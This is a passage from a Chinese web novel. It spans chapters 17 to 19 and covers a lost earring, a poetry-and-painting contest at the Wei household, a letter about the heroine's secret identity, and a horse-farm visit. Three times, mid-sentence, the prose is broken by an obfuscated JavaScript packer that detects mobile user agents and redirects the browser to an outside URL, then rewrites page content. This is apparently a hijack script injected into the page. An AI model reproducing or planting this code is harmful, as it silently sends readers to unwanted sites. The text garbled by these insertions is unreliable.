屋内两人都站起身望着她。诗钰没料到还有花澈在，不由倒退了一步。“三公子。”慌忙中，她忘了该先向花沛行礼，只朝花澈屈了屈身，显得与花沛熟不拘礼般。 “表姑娘不必多礼，我只是顺道，这就走了。”花澈抬腿就要向外走。 “三弟！”花沛用目光止住他，又转向诗钰，客客气气道，“表姑娘有什么事？” 诗钰支支吾吾说：“我，我掉了东西，过来找找。” “是掉在这儿了？要不叫人帮你找找。”花沛淡然道。 “不用不用。”诗钰假装把屋内看一遍，“可能不是在这儿，我去别处看看。是个小东西，找不到就算了，不麻烦了。”她搭讪着走出去。 兄弟两个重又坐下来。花澈看向兄长，笑道：“是样小东西，又没说帕子还是玉佩，大哥随便拿出一件，事情不就成了？” “胡说什么！”花沛斥他。 “有什么不好承认，老太太、老爷又不会反对。人家姑娘都能舍下脸，大哥何必抹不开面子，非要留我在这儿招人讨厌。” “你想多了。我从来没起过那些念头。”花沛正色道。 花澈看他一眼，也敛了笑：“是我错了。大哥和大嫂情深意笃，令人称羡。” 花沛晓得兄弟这句话是认真的，听来却好似个天大的笑话。他咕哝一句，连自己都不知道在说什么，接着便岔开了话。 不多久，花澈看向外面说：“又有人来了。” 花沛转头透过雕窗望去，几乎动弹不得，只有心猛地砰砰跳起来。表妹是来找谁？她低头走在桥上，蓝盈盈的裙边翻舞，好像是凌波而行，裙下探出的鞋尖隐约缀着珍珠，恰如一点轻巧的水花。 银荷推门时，花沛已经站起身，花澈还坐着。银荷同样吓了一跳——她以为这儿没人。 “大表哥，三表哥。”银荷低低说了一声，想要退走。 “表妹莫忙，原本是有什么事吗，别因为我们耽搁了。”花沛急忙道。 “没有什么事。”银荷犹豫片刻，觉得既已进来，不好扭头就走，便说，“是掉了东西，因为之前在这儿待过，所以过来看看。要是表哥不曾见到，我再去别处找。” 花澈先笑起来：“今天可真怪，这么多人都掉了东西。”他仍是懒懒靠在椅上。 花沛忙问：“表妹丢了什么？我们只坐一会儿，并没留意，刚好一起找找，说不定便找到了。” “恐怕是掉了耳坠子。”银荷还没答，花澈抢先道。 花沛不由便向银荷耳畔看去，目光轻轻擦过，又将她全身装扮收在眼底。 银荷与由心离开矴州时，因曲展事先吩咐：“旅途中务要低调为上，一应孝服虚礼皆可免除。”两人在路上俱是寻常装扮。来到花家后，银荷便也未穿孝服。 平日里，她衣着素净，今日，为是老太太寿日，方换了身略鲜艳带花色的衣裙。 花沛总是见到表妹淡雅至极的打扮，觉得恰好适宜她出水芙蓉般的天然风姿，但此刻，看她穿件莺背色的衫子，他又受到一次新的冲击：表妹的样子分外可爱，像羽毛光鲜的鸟儿，生着两只一勾一勾的小爪子。 花沛呆了片刻，赶紧问：“可是耳坠？” 银荷又停一下，才说：“瑶妹妹的耳坠不小心掉了一只。请大表哥和三表哥千万别告诉人，我们怕二伯父知道了要生气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16933502|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花沛想都没想，顺着意思答道：“那是自然，表妹放心，我们谁也不告诉。” 银荷向四下里略看了看，花沛也帮着她看，只花澈稳稳坐着，事不关己。 听了宝屏的话后，银荷已将再不搭理花澈的决心，又加深了一倍。可是，当着花沛的面，倒不好把厌恶之情表示得太过明显。因此这回见花澈，她嘴里仍唤着“三表哥”，但是身子僵僵地拧着，不向他转过脸，眼睛更是避而不瞧。 花沛注意到这一情形，却也并不感到奇怪。 他想：花澈才回家没多久，表妹与他还不熟，再者，花澈是没成婚的男子，表妹自然要避开些，何况，花澈这没礼貌的模样，哪里值当表妹正眼睛看他。花沛转头，严厉地瞪花澈一眼，“三弟。” 花澈这才站起身，只是嘴上还泼着凉水：“肯定不是掉在这儿，便是，也早让人捡走了。” 银荷看这屋里确实没有，就急着要去别处。 花沛又说：“这么大地方，你一人如何找到。我叫几个人，帮你一起。” “多谢大表哥，不过蝉影她们已经在找了，动静太大怕给人知道。” 花澈在旁道：“别白费力气。不如等明天早上，让人把园子细细扫一遍，枯草堆里也别落下。管保能扫出一簸箕，随便挑。” 银荷明知道花澈含嘲带讽，只作没听见。花沛又狠狠瞪了他一眼。 花澈便说：“大哥既吩咐，我帮三妹找找。不过总得有个样子吧。——三姑娘的耳坠什么样子？” 这话是向着银荷问的。银荷只好面朝他回答，用手指比量着：“大约是这么大一粒白珠子。” 花澈对上她眼睛，笑起来：“好办。不必找来找去了，另一只拿来，我让人照样再做一个，至多一两日工夫，除非老爷太太今晚上就查问。” 银荷本来已对找回失物不报太大期望，心想如他所说，倒是一个办法。不过她还有些怀疑：“能配到一模一样的？瑶妹妹说那珠子不易得，二伯母刚舍得给了她，要是别的也就不着急了。” 花澈嗤笑一声：“哪怕是龙王头上珠子，也寻得出一样的。” 花沛忙说：“不会有错，表妹放心，请表妹向三妹说一声。——三弟，你叫人去三妹那儿取，紧着些做好，可别忘了。” 银荷向二人施礼告辞。 花沛眼瞅着她足不沾地似的快步过了桥——轻盈、敏捷，像只小鸟飞掠湖面。他怀着混乱的心情转向花澈，责备道：“你不能斯文点儿说话，又不是别人，正经是表妹。” “正经不正经，不就是个是个表妹，又不是公主。”花澈早已经一屁股坐回椅子，不起劲地说，“再说，等什么时候公主来咱家，大哥再瞧，我还不如这个样子呢。” “行了。”花沛对兄弟无可奈何，“也坐了够久了，咱们去前头看看还有什么事情。” . 花瑶害了几日风寒，这天刚好，银荷来找她，见她已戴上新配好的耳坠，果然分辨不出。两人欢欢喜喜来到老太太处，映雪、花瑛、戚晚等人也都在。 这时，瑷宁拿了张帖子进来，见了花瑶便说：“瑶妹妹好了吧，正好，卫家太太下的帖子，请你们去她家里玩呢。” “什么时候？该趁着小阳春出门转转。”映雪一面问一面接过帖子看了，便笑道，“诗画会？他们家就喜欢搞这些风雅的。不就是明日，怎么突发奇想，都来不及准备。” 瑷宁说：“有什么好准备，哪个不是提笔就能写会画，如今姑娘们就拿手这些。我明日另还有事要出门，已经应下不好改的。你陪着她们去吧。” 映雪点头答应。老太太听见了，连声说好，正该要姑娘们多出门玩玩，又特意嘱咐银荷：“出门可别穿这么单薄，没个添换，现在也就是日头下暖和。当心像瑶儿一样吃了凉风。” 银荷不曾想客人也包括自己，忙说：“我就不去了，又不会画画作诗。” 映雪笑道：“都要去，不许谦虚。人家帖子上专门提了咱家五位姑娘，你们数数，跑得了谁？” 银荷来花家后，跟着瑷宁或映雪上过几回街，但拜客之事倒还没有。老太太过寿那日，让她见了见人，如今，别家都知道花家有这么一位表小姐，写请帖时，自然特别写明白了，以防失了礼。 “我不认得卫家太太。”银荷还想推脱。 “去了便认识了，卫家太太很和气，那天不是和晚妹妹聊了好半天吗？”映雪指指戚晚。 戚晚红着脸道：“她是很和气，我们说了几句话。” 银荷见如此，便答应了，谁知花瑶突然说：“我不去。” 大家都诧异，又是询问，又是劝说，花瑶只咬定一句病刚好，不愿出门，众人只得作罢。 17. 诗画 第二日，映雪同着花瑛、银荷、诗钰、戚晚四位姑娘在门前上了马车。卫府和花府相距不甚远，没说几句话也就到了。 卫家太太在庭前迎接她们，热情招呼了映雪和花瑛，见了戚晚微微一笑，又拉了银荷诗钰二人赞叹一番，将她们请入花园。 这日太阳极好，客人到来后，皆进了园子，不多时，到处都是形容脱俗、谈吐雅致的年轻姑娘。 卫家待客之道别具一格，宾主都毫不拘礼见外，介绍起来也不过一句“王姑娘”、“李姑娘”、“张姑娘”……之后主人便不知去了何处，留下客人们随意攀谈结交。姑娘们或坐或立，或挽手而行，姹紫嫣红，争相吐艳，将冬日的花园映得胜似三春时节。 银荷瞧见这庭院书香清气四溢，不知怎地想到矴州曲府，她忍不住离开众人，向那兰幽竹静处走去。 池边端然立着一位姑娘，岸上和水中是同样清凌凌的身影。银荷一下呆住，由心回来了。 她使劲眨眨眼睛，险些没站稳，身子一摇，晃过神来。不是由心，只是这人的身形、发式、衣着与由心无一不似，自己才会看岔。银荷不忿地狠盯几眼，任她是谁，凭什么有同由心一样纤丽的背影，一样挺秀的姿态，东施效颦罢了！ 银荷不想看见她的脸，正预备走开，那人却转过头来。 完全不一样，银荷大舒一口气，差得太远了，这世上根本不可能再有第二个由心，就连相像也都别想。 那姑娘好奇而有分寸地打量了银荷一瞬，微微露出笑容，走上前来。“姑娘莫怪罪，我猜你是瑶姑娘的表姐吧。” 对方这样客气，银荷倒很不好意思，笑起来：“也对也不对。现在这儿就有三位表姐，你指的或许是另一个？” “可不，我自己也有好几位表姐呢。”那姑娘歉意道，“对不起，我失礼了，刚才不该错过介绍，我叫任嘉仪。” “啊，原来你就是任姑娘。”来时路上，银荷已从花瑛口中听到不少任嘉仪的“事迹”。她是刑部尚书之女，素有京城第一才女美名，与卫家大太太是表亲，常来这里做客。 “我听过你，早该想到。我叫曲由心。”银荷说。 两人相视一笑。 这时，银荷发现，嘉仪虽说长相算不得格外标致，不过在她身上，相貌却是最微不足道的东西。交谈中，她目光专注，双眼闪耀生辉，话语优美，如兰花吐露芬芳。过不得一会儿，银荷便不得不承认对任姑娘的称誉所言非虚。 不枉将她误认作由心。刚刚的敌视一下子无影无踪，银荷热情地和她说起话来。 殊不知，嘉仪也在心中赞赏银荷意态活泼、无拘无束的美。 “竟没有早认识你。”她叹道，“曲姑娘平日喜欢做什么？我们有几个人，时不时会起社，大家聚在一起玩耍切磋，琴棋书画各随其好。曲姑娘若有兴致，欢迎加入我们。” “我喜欢骑马。”银荷乐意与她交好，但不知为何，脱口而出的却是这个。 嘉仪脸上闪过失望之色，随即笑起来：“我又落俗了，曲姑娘原本就是诗情画意的人物，不描乃画，不赋而歌，天然才调，比我们那些刻意为之不知高出几许。” 银荷还没受过这样的赞扬，脸都红了。她们朝着重新聚拢的人群走回去时，银荷认真说：“将来哪天，我一定去向任姐姐请教。” 卫家太太正指挥人在暖阳下设座，十来个案台围成一个圆圈，每个上面都摆了纸笔颜料等物，又有人搬来绣墩。 映雪朝银荷招手：“马上进入正题，该你们上去施展了。” 银荷说：“瞧着倒挺有趣，不过也怪让人紧张的，考场恐怕就是这个样子。” 花瑛道：“若是考试，那任姑娘就是状元了，分明都是她的强项。只设了一份头奖，其他人还有什么争的？” 原来这次的规矩不同以往：来客自愿参赛，愿意参加的人，便上去抽一张题签，题目各不相同，不过每个人总是要作一首诗，一幅画。抽好题目后，上交“试卷”前，谁也不得与人交流探讨。所有参赛者全部作完后，作品也不会贴出来给大家互相品评，而是另有人打分，隔两日，会为头名送去奖品，没得的便不是第一，只自己心里清楚，并不伤及颜面。 银荷笑道：“题目都不同，怎么评比。这可得打分的人公正才行。” 花瑛小声说：“虽然没明说，评分的自然就是卫翰林卫公子了，公正应该是公正的，不过——本来嘛，有人诗好，有人画好，可单论起来，谁也好不过任姑娘，最多持平罢了，现在两样加起来，铁定更没有超过她的。” 戚晚接口道：“既然来了去玩玩也好，管他谁第一呢。” “我可不去做那陪衬。”花瑛说着走开了。 戚晚便怂恿银荷、诗钰。 诗钰摇头：“我不会，还是去别处玩罢。” “反正有我垫底，怕什么。”戚晚又说。 别人或许不知，但银荷听过戚晚弹琴，知晓她嘴上这么说，肯定是有相当的底气。一时银荷的好胜心又被激起，爽快答应：“好，我去，我也不怕垫底。” 其他姑娘中，亦有不少跃跃欲试，不在乎输赢奖品——知道比不过任嘉仪——不过图个好玩。光想着能抽到哪样题目一项，便足够吸引人了，很快等着领签的姑娘们就排好了队。 银荷拿到签条，不知会是个什么刁钻命题，展开一看却也简单：作一幅夏日即景图，另外填词一阕浣溪沙，词与画不必相关，但依然要扣上“夏日”二字。 眼下虽是冬天，但这题目还真难不倒银荷——她恰巧独会画荷花。盖因矴州曲府中一片荷塘极美，曲展作画时，便常对了池子，春夏秋冬皆有，夏天里自然最多。由心和银荷都在旁边学过，虽然银荷至多学得三成，这时拿出来倒也勉强应付得了。 现场作画，没工夫精描细摹，只能写意，这又是银荷最爱的。她泼墨成叶，寥寥数笔勾勒出花形，乍一看确实有些味道，对一个十多岁的年轻姑娘来说很不错了。但她不知那位卫公子擅画，评判起来更是苛刻，只从基本的运笔收放自如、用墨浓淡相宜、构图疏密有致论起，都能从她的画中挑出不少不足来。银荷自己瞧着还满意，反正现在后悔平日没有勤加练习也晚了，她将画放在一边，琢磨起诗来。 初看不难，因为她正好也最喜欢夏天，可是要将涌上心头的万千思绪抒写出来，她却拿不准自己有那个笔力。银荷想了数句，统统不满意：想要写得清新朴实，却总是雕凿过重，又够不上流丽顿挫，任谁都能看出水平不到家。 和由心没法比。银荷回想由心素日里随口就能吟诗一首，强过自己万倍。 昔日和由心在一起，银荷当然从没生过争强之心，不过曲展倒不因她是个丫环就不当回事，既与由心一同念书，便也一同考评，银荷每每甘拜下风。 到花家这半年多，姐妹们坐在一处说话，偶尔也对对句，有时银荷的句子好，有时别人的好，她并不大放在心上。但这回，和京里最有才华的一干女子相较，若被人说一句曲家姑娘不过如此，却是不能忍受。 既然已经用了由心的名字，用她的诗句也算不得作弊吧。银荷犹豫片刻，将由心曾填的一首浣溪沙写在纸上： 渐促蛩鸣动碧窗 玉炉烟等旧尘光 黑甜一梦起何乡 恰恰青春容易短 迟迟白日那堪长 且将花月慢思量 刚搁下笔，墨迹未干时，银荷便后悔了。她呆呆看着面前纸张：由心姐姐已经不在，她的诗却还要被不知什么人评判。无论好坏和他们又有什么干系，谁还会知道世上曾有这样一个姑娘，理解她的喜怒哀乐？ 银荷正想将纸撕掉，谁知旁边守着的丫环等得无聊，见已有一人完成，走过来二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16940802|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话不说拿过她的画和诗。银荷怕引人注意，不好叫住她，只好任她收走，幸而不曾署名。 比赛不限时，其他人都还在自作自的。银荷经过戚晚身后，见她正在画一张鹦鹉图。 鹦鹉还未全画完，但已得见其毛色妍丽，英姿勃勃，似乎刚立上枝头。银荷看戚晚画得艳而不俗，形神兼具，虽不至始料不及，也还是微微吃了一惊。她又向任嘉仪望去，想瞧瞧她到底是如何水平。可惜任姑娘刚把一篇长诗放在一边，画还未开始作。 那些没下场参赛的，怕扰了别人思绪，早已跑去远处自便了，银荷寻不到映雪花瑛等人，走着走着，远远瞧见一间亭子中有人影，便走近前去。亭外有几株矮树，透过交错的枝条，银荷看清是个小丫环正在拿扇扇炉子。还不待她走到跟前开口，对过又跑来一个小丫环。银荷脚步轻，两人都没发现她，便说起话来。 后来的那个说：“别光煮茶了，你还没去看吧，今儿来的客有几位是没见过的，可真是奇了，一个赛一个好看。” 银荷听到这话偏又好奇心起，想听听她们怎么说，便立在一旁。 另一个小丫环仍不紧不慢对炉门扇着：“有什么稀罕。” “说不定将来的二太太就在里面了。” “省省吧，别献错了殷勤，你能知道是哪个？我看还是任大姑娘。” “嘁，要是二老爷看中了任姑娘，还等到今天？太太干吗要请这么多人，何苦来浪费笔墨？——不过是个幌子，毕竟咱们二老爷，夫人不能没点儿学问。可娶夫人要那么大学问做什么，谁不喜欢俊的呢？” “那也是老太太和太太一头热，要是二老爷愿意，怎么不趁他在家的时候请客。” “说不定二老爷马上就回来了，看着吧，我和你说啊……”这时话音低成了窃窃私语。 银荷扭身走开，她算搞明白了，原来这些个诗会不是因为主人喜好文雅，竟是为了给他家二老爷挑个夫人。都做了老爷的一个人，还是位翰林呢，不嫌害臊！太子选妃都不会做出这些张致。 这位卫翰林名叫卫维扬，其实尚是位年轻公子，只因父亲故世，现在府里是他大哥当家，仆人们也就尊他为二老爷。但银荷只听说他是太子侍读，其它一概不知，便知道也不作理会。她心想：卫家二老爷真给读书人丢脸，还才名呢，欺世盗名！至于品行嘛，和花澈是一路货色。 本来不过有些好笑的事情，仔细一想却又令人气愤。像花瑶那样干脆不来倒好，来了不过是落得让人评头论足挑肥拣瘦一番，就连任姑娘那般冰清玉粹的人物，也逃不过。 银荷越发觉得没趣，想到“二老爷”说不定马上回来，简直一刻也不想再待。她找到一个管事的大丫环，托她给主人和映雪转告一声，她要先回去。那丫环为她安排好车，自去传话。 马车将银荷送到花府后门。银荷等不及回自己屋，先去找花瑶。穿过花园的路上，远远看见花澈正陪着老太太在园子里逛，老太太扶着他的手，笑得甚是开怀。银荷不由想，花澈人虽浮浪，倒还有一点好，他对老太太是真心孝顺。 本想绕开，但老太太已经向这边望过来，银荷走上前。 老太太惊讶道：“由丫头不是做客去了，这么早就回来了？” “在他们家坐了一会儿，身上不大自在，便回来了。”银荷解释说。 “哪里不好受？”老太太一下紧张起来，“你二嫂呢？怎么让你一个人？” 银荷后悔编了这么个理由，赶紧说：“怪我没告诉二嫂。就那一小阵，没什么大事，现下全好了。” 老太太仍不信：“快和我回屋歇着。澈儿，你赶快叫人请大夫。” 花澈笑道：“祖母不用着急，瞧妹妹，心都不安了。”又将银荷全身上下一看，“我看妹妹康健得很，一定是那些滋补汤药管用。妹妹来家这大半年，连个多余的喷嚏都没打过吧？” 18. 来信 老太太听花澈说“妹妹”身体康健，半年未生过毛病，心想确实如此，心中高兴，哪里疑到其它。这时，携了银荷同往自己居住的万紫园走，见她手也暖和，便撇开要找大夫一事。 回到屋内，老太太让人去把花瑶叫来一起吃饭，对银荷说：“都是自家兄妹，没那么多规矩。不用管你三表哥，只当他不在。” 老太太既有吩咐，银荷当然奉命不理花澈。等花瑶来了，就与她去里屋说话。 “这么早，她们呢？”花瑶小声问。 “我先回来的。”银荷悄声道，“我知道你为什么不去了。你怎么不早告诉我，不然我也不去。” “我是因为……”花瑶红着脸支吾，又想听个究竟，“怎么了？不好玩么？” 银荷只管摇头：“好玩倒好玩的。对了，我瞧见戚晚姐姐很会画画，所以才气人——凭什么就白白画给他们瞧。我听到他们家里有人说……”银荷把两个丫环的话告诉花瑶。 “看着是个知书通礼人家，做的事情半点也不像个样子。”银荷轻蔑地说，“反正总有人恬不知耻，以为自己天下一等俊俏，谁都该捧着他。” “卫公子他……他自己应该没有……”花瑶嗫嚅地说，低着头，声音又极小，银荷没听清。 正好这时花澈掀帘，冲她们喊：“别忙咬耳朵了，先来填饱肚子。”便把谈话打断了。 几人围桌坐下，原是邀月、绘云站在一旁张罗，花澈把她们打发走，亲自给每个人都布好菜。 银荷从没和花澈在一张桌上用过饭，见花澈竟熟知她的口味，深感惊异，不由看了他一眼。 正好看见花澈笑望着她，眼睛仿佛说：“妹妹快吃吧。” 银荷一惊，话又不是他说出的，自己猜测意思便罢，怎么还给他加个“妹妹”？她赌气不拿起筷子。 老太太问：“这甜鸭子怎么不给你由心妹妹捡几块。”她又向银荷说，“我记得那时你父亲最爱吃它。” “妹妹不喜欢吃。”花澈接口。 “你又知道了？”老太太嗔怪。 “妹妹性烈如火，一定不爱吃甜。这暴跳如雷的田鸡，怒目横眉的鱼，咬牙切齿的苔干，是妹妹极爱的几样，对吧？”花澈看向银荷。 银荷当真怒目横眉，咬牙切齿：“我不喜鸭子是因为，它嘎嘎不休，成日聒噪。” 花澈笑容满面：“鸭头是我的极爱。”他把鸭子脑袋夹到自己盘中，自语道，“嘴巴再硬，也是浸了蜜糖的。” 银荷恨不得拿盘子丢到这个笑脸无赖身上。老太太斥花澈：“让你陪妹妹吃顿饭，只顾耍嘴。罚你讲个故事，讲得不好，拿筷子敲你。” “我能有什么好讲，既不风雅，又没趣味，妹妹们肯定不愿意听吧？”花澈依次望望花瑶和银荷。 花瑶窘迫地低下头。兄长中，她只在花涛跟前自在些。她怕父亲，而怕大哥又比怕父亲更甚。奇怪的是，虽然花澈从不曾对她严厉，但面对花澈的随和，她像面对花沛的严正一样感到拘谨。 银荷毫不客气接住花澈的目光：“我想听听三表哥在外面的故事，三表哥骑着马跑来跑去，都做些什么？”不信他当着老太太，真敢讲。 花澈果然为难道：“我又不是个将军，骑着马跑来跑去，也没那些跌宕热闹、波路壮阔的事。” “善战者无赫赫之功。”银荷讽刺地说，“三表哥做的事情，一定也有意思。” “妹妹真会夸人。”花澈笑眯眯说，“既如此，倒可以讲讲，就怕妹妹觉得腌臜。” 老太太重重放下筷子：“我还在这儿，看你敢说什么不干不净的。” “其实也挺干净，说起来马比人还受不得脏呢。”花澈话头一转，讲起了牧场养马的事。 相马、饲养、训练……里面好多门道，银荷一点儿都不懂，不禁听入了迷。 直到花澈说：“什么时候带妹妹去看看，给妹妹挑一匹，妹妹喜欢什么颜色？噢，我想起来了，不喜欢白马。”银荷方如梦初醒。 老太太说：“那么远，又是苦寒的地方，怎么能带你妹妹去。” 银荷差点儿说：“我想去。” “养这些马做什么？”她问。 “当然是卖掉，难道都白白养着？”花澈瞅着她笑，“除非特别喜欢的，养一两个，我倒乐意。” 这话听着似在含蓄不含蓄之间，若作含蓄讲，意思却很不好。银荷发誓再不理他。 这时，老太太说：“瑶儿今天怎么不说话，还没大好么？由儿也吃得少，还是叫大夫给你们两个都看看。” 花澈说：“是我讲得没完没了，没给三妹留空说话，也耽误大家吃饭。祖母怪我便是，反说偏话，非要给两个妹妹挑出毛病。” “还不赶紧闭嘴！”老太太气得笑骂他，“只知道说，什么时候真关心过妹妹？——马骑得如何也不见你问问。” “祖母批评得是。过两日，我去瞧瞧妹妹骑马。” . 十一月第一日，花澈接到了矴州的来信。 距他派人过去打听昔日曲府里的小姐和丫环，已有一个半月工夫。 矴州与京城一来一回，快马加鞭也需二十余日，回信到的真不算迟。但花澈仍是多少等得心焦。不过，信封拿在手里，他又有些踌躇，掂了一掂，份量很轻，怕是没打探出多少消息。 终于打开，信果然不长。 信上说，曲展生前只结交些闲云野鹤，和当地官宦人家少有往来；曲展去世后，府邸出售给别家，家仆各自遣散，远走他乡或下落不知。因此，熟悉曲家情况的，无论旧友还是旧仆，均未找到一个。 曲家小姐千金贵体，平日绝少出门，左右邻居中，真正见过小姐的亦无几人，甚至没人能确切说出曲展故去后小姐投奔了何处。不过，众人皆知曲家小姐才貌双全，只是体弱多病，常年寻医问药。 关于小姐身边的丫环，确有一则传闻：小姐母亲去世后不久，曲展不知从何处领回了这个丫头。此事引起过短暂的街谈巷议，猜测那是曲展与人私养的女儿。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16950487|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>曲展从未加以理会，谣言很快便不攻自破。认识曲展的都说他做人清正，与他不相熟的人也断定他对夫人感情深厚，因为尽管膝下无子，他在夫人亡故后却始终未续弦。 这些差不多就是信中所述全部。最后是写信人的一番告罪：无颜见三爷，留此待命，请三爷进一步指示云云。花澈扫了一眼，心想此人素来精细，若他问不出，大概真是问不出。当日曲慕贬官至矴州，半算作退隐，应是有意告诫家人谨慎言语，勿要过多显露府中事务。 不过，花澈又想，派人去打听时，有些话自己未曾明说，别人未必清楚他想知道的到底是什么，要消除疑问，恐怕还非得亲自去一趟不可。 他的视线重新移到纸上的几个字。 私养的女儿？ 这倒像是实情。若真是如此，便罢了。尴尬的话当然不必提，老太太既喜爱她，当作嫡亲侄孙女，也没什么。 不过花澈的心只松了这一瞬。 果真是私生女，曲展临去前，总对她有个安排，是如何？若小姐没病死，她便一直是丫环？她知不知自己的身份？该是知晓，并且那两名老仆也知晓，不然，谁给他们的胆子，敢将个丫环假充小姐？ 胆子嘛，好像是有一些。不过，三个仆人，怎能真将事情做成，而且做得毫无破绽？若非他碰巧那晚在客栈瞧见，岂不是也完全被蒙在鼓里？ 这其中，肯定还有点儿什么，他还未得要领。 甚至连她的名字都不知道。 花澈烦躁地来回踱步。 其实不必费麻烦，可以直接去问那丫头——一个姑娘要是生了那么美的颈子，一定不愿让人扭断它，只要随便吓唬一下，就能逼出话来。 先前，是为了等这封信。如今，信已来了，难不成还继续逗着她玩？眼见小丫头已经不吃这套了，只管躲着。花澈轻笑一声，那便怪不得他，直接些吧。 尽管，他依然认为，除非能让她主动说，其它办法都是等而下之。 就好比一册值得一读的文字，捧在手中，既要痛快念下去，又不希望马上结束，既舍不得中断，又禁不住时时停下咂摸；须得一页一页翻至最后——不提前，不延迟，更不可擅自更改，直到那个他自己断然构想不出的绝佳终句。 . 翌日清晨，花澈在书房外练剑，院内树木纷纷被削得秃了，过一时，换成刀，将幸存的枝桠再砍一遍，吓得几个小厮不敢露头。等他终于扔下刀，元宝才战战兢兢上来说：“爷，水备好了。” 花澈大步走进屋，吩咐道：“另取身衣服，等下去马场。” 元宝听了不对，不能不壮胆提醒：“今日是任二爷约了爷，还有四殿下。” 花澈摆摆手：“让人去说一声，你跟我一起去马场。” 元宝心想，既然连任二爷的约都不赴，必然只为了一个缘由，不禁也有几分好奇、心痒，大着胆又问一句：“爷是听说有新到的烈马，要去瞧瞧？” 花澈停住脚：“你倒提醒了我，就去那儿找一匹。” 19. 烈马 花澈和元宝从小门出来，两匹马已经在那儿立着。花澈刚跨上马背，斜刺里窜出一人在面前跪下，口内不住嚷着：“三爷，三爷，求三爷听我说句话，我娘……” 花澈瞧都不瞧。马儿从那人头顶一跃而过，几个落地，跑出了巷子。 京城最大的马场在北郊，十来里路，没费工夫便到了。 马场主人姓滕，因有万马奔腾一词，取个谐音，大家叫他滕万马。 滕万马正在屋里坐着，听见一阵蹄声，一听便知，不是自家的马儿，跑出院子一瞧，看见花澈，急忙迎上前。 “今日起来神清气爽，果然有贵人临门。三爷脚踏贱地，是不是又得了好马？”他忍不住便朝远处望去。 花澈说：“正是为这个，才来找滕大哥。” “三爷说笑了，我这儿可找不出这样的神驹。”滕万马收回目光，这才敢细瞧瞧花澈身后通体油黑、不掺一丝杂色的骏马。马场的主顾大都是京中贵族，多喜欢白马，黑马难卖上好价，但花澈这匹一看就不是凡马。滕万马喜欢得眼都挪不开了。 “我来为舍妹挑匹马。”花澈说。 “哎呀，我这脑袋不要也罢。”滕万马一拍脑门，“尊府几位小姐现在骑熟的几匹，都是咱们这儿最温顺的马了，也都是上等的。不过小姐们骑艺精进，是可以换换。——三爷等令妹过来再挑选？” “不等了，我先选好，让她们瞧个惊喜。” 滕万马便引了花澈去看马，一连看了近十匹，花澈只是摇头。滕万马颇为作难：“不知三爷中意什么样的？” “姑娘们自然喜欢模样好看的。” “要论模样，哪个比得过你那……哎呀，我又忘了，你不肯让人骑它。可不，要给我也是，别说妹妹了，亲闺女也不许碰上一碰。”滕万马一面絮叨，一面领花澈去另一处马厩。 于是又连看数匹，花澈仍能挑出各种毛病。这时走到一个隔间前，花澈咦了一声：“怎么看着面熟？” “三爷好记性，这正是前年从你那儿得来的，都是些好马，就剩这一匹了。”马场主爱惜地看着那条约莫三岁多的赤色母马。它带点儿自命不凡的神气，像是知道自己长得好，大大方方立在那里任人欣赏。 “滕大哥还留着它？”花澈打量了一会儿，问道。 “这马多俊那。”滕万马赞叹道，突然想起来，忙又说，“不成，不适合小姐们骑。” “这不要紧。牵出来看看。” 滕万马为难地搓搓手：“不是我舍不得，我有缘故：看它这样好，任谁也挑不出毛病来，谁知出去后，不定什么时候就要撒野。我卖了两次，两次都摔了人。幸好人家伤得不重，没找我偿命，马又叫给退回来了。后来再有人想要，多少钱我也不敢卖呀。人家都说这马驯不熟，将来生出来的也是野性儿，劝我杀掉算了，我瞅它模样俊，就是不能下手，只能好草好料养着，好比供了个祖宗吧。” 花澈闻言说：“我就要它。” “哎呀这可不是闹着玩儿的，我知道三爷是想照顾我，不过，——三爷自己试试还行，小姐们就算了，万一被惊到我可担待不起啊。” “腾大哥不用担心，我牵牢它就是。” 滕万马见如此说，只好答应。 花澈看完了马，元宝才喘吁吁地赶到。 “你还肯来？”花澈奇道。 元宝连忙告饶解释：“原先跟着大爷的王兆喜，早几个月大爷把他撵了出去，谁知怎么这时又跑来求情。” “求你什么？” 元宝眉眼耷拉着：“小的不敢。” 花澈冷哼：“大哥撵了他，他来求我，他是我什么人，奶兄弟不成？” 元宝正是花澈乳娘的小儿子，听了这话，讪讪笑着：“我没答应他。小的知道小大，借我一百个胆子，也不敢和爷对着来。”犹豫片刻，觑着花澈面色，小心地说，“小的给了他几个银子，看在他娘当初……” 花澈脸色更冷：“你回去跟各门上的人说，下次再见着他，只管打死。谁的面都不必看，他娘算什么，当初也不就是个丫环。” 元宝不敢接话，唯唯应了。 又过好一时，银荷几人乘着马车，才到了马场。花澈指指长乐，对元宝说：“你去和他边上说话。” 